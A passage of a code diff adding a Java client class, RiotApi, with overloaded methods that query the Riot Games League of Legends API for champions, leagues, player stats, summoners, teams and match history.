+import dto.Team.Team;
+import dto.Static.ChampionList;
+import dto.Static.GameMapList;
+import dto.Static.Item;
+import dto.Static.ItemList;
+import dto.Static.LanguageStrings;
+import dto.Static.Mastery;
+import dto.Static.MasteryList;
+import dto.Static.Realm;
+import dto.Static.Rune;
+import dto.Static.RuneList;
+import dto.Static.SummonerSpell;
+import dto.Static.SummonerSpellList;
+import dto.Stats.PlayerStatsSummaryList;
+import dto.Stats.RankedStats;
+import dto.Status.Shard;
+import dto.Status.ShardStatus;
+import dto.Summoner.MasteryPages;
+import dto.Summoner.RunePages;
+import dto.Summoner.Summoner;
+import method.*;
+
+public class RiotApi {
+
+    /**
+     * The base URL for all API requests
+     */
+    private String endpoint = Region.GLOBAL.getEndpoint();
+
+    private Region region = Region.NA; // North American region default
+    private Season season = null;
+    private String key;
+
+    public RiotApi() {
+    }
+
+    public RiotApi(String key) {
+        this.setKey(key);
+    }
+
+    public RiotApi(String key, Region region) {
+        this.setKey(key);
+        this.setRegion(region);
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * Get all the champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the set region when
+     * freeToPlay is true A list of all the champions for the set region when
+     * freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all champions for a given region
+     *
+     * @param region The desired region
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the given region
+     * when freeToPlay is true A list of all the champions for the given region
+     * when freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region, boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all free to play champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the free to play champions for the given region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), true);
+    }
+
+    /**
+     * Get all free to play champions for a set region
+     *
+     * @return A list of all the free to play champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), true);
+    }
+
+    /**
+     * Get a champion by id for a given region
+     *
+     * @param region The desired region
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(Region region, int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(region.getEndpoint(), region.getName(), getKey(), champId);
+    }
+
+    /**
+     * Get a champion by id for a set region
+     *
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(getEndpoint(), getRegion(), getKey(), champId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(Region region, long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(String summonerIds) throws RiotApiException {
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * 
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues() throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * 
+     * @param region
+     * @param queueType
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region, QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey(), queueType);
+    }
+
+    /**
+     * 
+     * @param queueType
+     * @throws RiotApiException
+     * @return League
+     */
+    public League getChallengerLeagues(QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey(), queueType);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(Region region, String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param region The desired region
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(Region region, String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+    
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+   }
+   
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+  public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+      return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+  }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @param endIndex The end index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
